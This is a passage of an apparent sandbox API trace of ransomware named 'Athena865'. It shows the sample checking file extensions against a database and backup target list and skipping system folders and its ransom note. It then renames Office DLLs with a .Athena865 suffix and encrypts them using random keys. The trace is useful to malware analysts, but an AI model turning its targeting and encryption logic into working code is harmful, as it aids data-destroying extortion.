(lpString1=".DLL", lpString2="kexi") returned -1 [0084.458] lstrlenW (lpString="kexic") returned 5 [0084.458] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0084.458] lstrlenW (lpString="kexis") returned 5 [0084.458] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0084.458] lstrlenW (lpString="lgc") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.458] lstrlenW (lpString="lwx") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.459] lstrlenW (lpString="maf") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.459] lstrlenW (lpString="maq") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.459] lstrlenW (lpString="mar") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.459] lstrlenW (lpString="marshal") returned 7 [0084.459] lstrcmpiW (lpString1="ALL.DLL", lpString2="marshal") returned -1 [0084.459] lstrlenW (lpString="mas") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.459] lstrlenW (lpString="mav") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.459] lstrlenW (lpString="maw") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.459] lstrlenW (lpString="mdbhtml") returned 7 [0084.459] lstrcmpiW (lpString1="ALL.DLL", lpString2="mdbhtml") returned -1 [0084.459] lstrlenW (lpString="mdn") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.459] lstrlenW (lpString="mdt") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.459] lstrlenW (lpString="mfd") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.459] lstrlenW (lpString="mpd") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.459] lstrlenW (lpString="mrg") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.459] lstrlenW (lpString="mud") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.459] lstrlenW (lpString="mwb") returned 3 [0084.459] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.459] lstrlenW (lpString="myd") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.460] lstrlenW (lpString="ndf") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.460] lstrlenW (lpString="nnt") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.460] lstrlenW (lpString="nrmlib") returned 6 [0084.460] lstrcmpiW (lpString1="LL.DLL", lpString2="nrmlib") returned -1 [0084.460] lstrlenW (lpString="ns2") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.460] lstrlenW (lpString="ns3") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.460] lstrlenW (lpString="ns4") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.460] lstrlenW (lpString="nsf") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.460] lstrlenW (lpString="nv") returned 2 [0084.460] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.460] lstrlenW (lpString="nv2") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.460] lstrlenW (lpString="nwdb") returned 4 [0084.460] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.460] lstrlenW (lpString="nyf") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.460] lstrlenW (lpString="odb") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.460] lstrlenW (lpString="odb") returned 3 [0084.460] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.460] lstrlenW (lpString="oqy") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.461] lstrlenW (lpString="ora") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.461] lstrlenW (lpString="orx") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.461] lstrlenW (lpString="owc") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.461] lstrlenW (lpString="p96") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.461] lstrlenW (lpString="p97") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.461] lstrlenW (lpString="pan") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.461] lstrlenW (lpString="pdb") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.461] lstrlenW (lpString="pdm") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.461] lstrlenW (lpString="pnz") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.461] lstrlenW (lpString="qry") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.461] lstrlenW (lpString="qvd") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.461] lstrlenW (lpString="rbf") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.461] lstrlenW (lpString="rctd") returned 4 [0084.461] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.461] lstrlenW (lpString="rod") returned 3 [0084.461] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.461] lstrlenW (lpString="rodx") returned 4 [0084.461] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.462] lstrlenW (lpString="rpd") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.462] lstrlenW (lpString="rsd") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.462] lstrlenW (lpString="sas7bdat") returned 8 [0084.462] lstrcmpiW (lpString1="CALL.DLL", lpString2="sas7bdat") returned -1 [0084.462] lstrlenW (lpString="sbf") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.462] lstrlenW (lpString="scx") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.462] lstrlenW (lpString="sdb") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.462] lstrlenW (lpString="sdc") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.462] lstrlenW (lpString="sdf") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.462] lstrlenW (lpString="sis") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.462] lstrlenW (lpString="spq") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.462] lstrlenW (lpString="te") returned 2 [0084.462] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.462] lstrlenW (lpString="teacher") returned 7 [0084.462] lstrcmpiW (lpString1="ALL.DLL", lpString2="teacher") returned -1 [0084.462] lstrlenW (lpString="tmd") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.462] lstrlenW (lpString="tps") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.462] lstrlenW (lpString="trc") returned 3 [0084.462] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.462] lstrlenW (lpString="trc") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.463] lstrlenW (lpString="trm") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.463] lstrlenW (lpString="udb") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.463] lstrlenW (lpString="udl") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.463] lstrlenW (lpString="usr") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.463] lstrlenW (lpString="v12") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.463] lstrlenW (lpString="vis") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.463] lstrlenW (lpString="vpd") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.463] lstrlenW (lpString="vvv") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.463] lstrlenW (lpString="wdb") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.463] lstrlenW (lpString="wmdb") returned 4 [0084.463] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.463] lstrlenW (lpString="wrk") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.463] lstrlenW (lpString="xdb") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.463] lstrlenW (lpString="xld") returned 3 [0084.463] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.463] lstrlenW (lpString="xmlff") returned 5 [0084.463] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0084.463] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL.Athena865") returned 63 [0084.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll.athena865"), dwFlags=0x1) returned 1 [0084.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.465] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50536) returned 1 [0084.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.466] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.466] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.466] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.466] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc870, lpName=0x0) returned 0x154 [0084.468] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc870) returned 0x100000 [0084.471] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.472] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.472] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.473] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.473] CloseHandle (hObject=0x154) returned 1 [0084.473] CloseHandle (hObject=0x17c) returned 1 [0084.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.474] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xa958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REFEDIT.DLL", cAlternateFileName="")) returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2=".") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="..") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="windows") returned -1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="bootmgr") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="temp") returned -1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="pagefile.sys") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="boot") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="ids.txt") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="ntuser.dat") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="perflogs") returned 1 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2="MSBuild") returned 1 [0084.474] lstrlenW (lpString="REFEDIT.DLL") returned 11 [0084.474] lstrcpyW (in: lpString1=0x241e89e, lpString2="REFEDIT.DLL" | out: lpString1="REFEDIT.DLL") returned="REFEDIT.DLL" [0084.474] lstrlenW (lpString="REFEDIT.DLL") returned 11 [0084.474] lstrlenW (lpString="Athena865") returned 9 [0084.474] lstrcmpiW (lpString1="FEDIT.DLL", lpString2="Athena865") returned 1 [0084.474] lstrlenW (lpString=".dll") returned 4 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2=".dll") returned 1 [0084.474] lstrlenW (lpString=".lnk") returned 4 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2=".lnk") returned 1 [0084.474] lstrlenW (lpString=".ini") returned 4 [0084.474] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2=".ini") returned 1 [0084.474] lstrlenW (lpString=".sys") returned 4 [0084.475] lstrcmpiW (lpString1="REFEDIT.DLL", lpString2=".sys") returned 1 [0084.475] lstrlenW (lpString="REFEDIT.DLL") returned 11 [0084.475] lstrlenW (lpString="bak") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.475] lstrlenW (lpString="ba_") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.475] lstrlenW (lpString="dbb") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.475] lstrlenW (lpString="vmdk") returned 4 [0084.475] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.475] lstrlenW (lpString="rar") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.475] lstrlenW (lpString="zip") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.475] lstrlenW (lpString="tgz") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.475] lstrlenW (lpString="vbox") returned 4 [0084.475] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.475] lstrlenW (lpString="vdi") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.475] lstrlenW (lpString="vhd") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.475] lstrlenW (lpString="vhdx") returned 4 [0084.475] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.475] lstrlenW (lpString="avhd") returned 4 [0084.475] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.475] lstrlenW (lpString="db") returned 2 [0084.475] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.475] lstrlenW (lpString="db2") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.475] lstrlenW (lpString="db3") returned 3 [0084.475] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.476] lstrlenW (lpString="dbf") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.476] lstrlenW (lpString="mdf") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.476] lstrlenW (lpString="mdb") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.476] lstrlenW (lpString="sql") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.476] lstrlenW (lpString="sqlite") returned 6 [0084.476] lstrcmpiW (lpString1="IT.DLL", lpString2="sqlite") returned -1 [0084.476] lstrlenW (lpString="sqlite3") returned 7 [0084.476] lstrcmpiW (lpString1="DIT.DLL", lpString2="sqlite3") returned -1 [0084.476] lstrlenW (lpString="sqlitedb") returned 8 [0084.476] lstrcmpiW (lpString1="EDIT.DLL", lpString2="sqlitedb") returned -1 [0084.476] lstrlenW (lpString="xml") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.476] lstrlenW (lpString="$er") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.476] lstrlenW (lpString="4dd") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.476] lstrlenW (lpString="4dl") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.476] lstrlenW (lpString="^^^") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.476] lstrlenW (lpString="abs") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.476] lstrlenW (lpString="abx") returned 3 [0084.476] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.476] lstrlenW (lpString="accdb") returned 5 [0084.476] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0084.476] lstrlenW (lpString="accdc") returned 5 [0084.476] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0084.477] lstrlenW (lpString="accde") returned 5 [0084.477] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0084.477] lstrlenW (lpString="accdr") returned 5 [0084.477] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0084.477] lstrlenW (lpString="accdt") returned 5 [0084.477] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0084.477] lstrlenW (lpString="accdw") returned 5 [0084.477] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0084.477] lstrlenW (lpString="accft") returned 5 [0084.477] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0084.477] lstrlenW (lpString="adb") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.477] lstrlenW (lpString="adb") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.477] lstrlenW (lpString="ade") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.477] lstrlenW (lpString="adf") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.477] lstrlenW (lpString="adn") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.477] lstrlenW (lpString="adp") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.477] lstrlenW (lpString="alf") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.477] lstrlenW (lpString="ask") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.477] lstrlenW (lpString="btr") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.477] lstrlenW (lpString="cat") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.477] lstrlenW (lpString="cdb") returned 3 [0084.477] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.478] lstrlenW (lpString="ckp") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.478] lstrlenW (lpString="cma") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.478] lstrlenW (lpString="cpd") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.478] lstrlenW (lpString="dacpac") returned 6 [0084.478] lstrcmpiW (lpString1="IT.DLL", lpString2="dacpac") returned 1 [0084.478] lstrlenW (lpString="dad") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.478] lstrlenW (lpString="dadiagrams") returned 10 [0084.478] lstrcmpiW (lpString1="EFEDIT.DLL", lpString2="dadiagrams") returned 1 [0084.478] lstrlenW (lpString="daschema") returned 8 [0084.478] lstrcmpiW (lpString1="EDIT.DLL", lpString2="daschema") returned 1 [0084.478] lstrlenW (lpString="db-journal") returned 10 [0084.478] lstrcmpiW (lpString1="EFEDIT.DLL", lpString2="db-journal") returned 1 [0084.478] lstrlenW (lpString="db-shm") returned 6 [0084.478] lstrcmpiW (lpString1="IT.DLL", lpString2="db-shm") returned 1 [0084.478] lstrlenW (lpString="db-wal") returned 6 [0084.478] lstrcmpiW (lpString1="IT.DLL", lpString2="db-wal") returned 1 [0084.478] lstrlenW (lpString="dbc") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.478] lstrlenW (lpString="dbs") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.478] lstrlenW (lpString="dbt") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.478] lstrlenW (lpString="dbv") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.478] lstrlenW (lpString="dbx") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.478] lstrlenW (lpString="dcb") returned 3 [0084.478] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.479] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.479] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.479] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.479] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL.Athena865") returned 64 [0084.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll.athena865"), dwFlags=0x1) returned 1 [0084.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.480] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43352) returned 1 [0084.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.481] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.481] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.481] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac60, lpName=0x0) returned 0x154 [0084.483] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac60) returned 0x100000 [0084.486] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.487] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.487] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.487] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.488] CloseHandle (hObject=0x154) returned 1 [0084.488] CloseHandle (hObject=0x17c) returned 1 [0084.488] HeapFree (in: hHeap=0x4f0000, 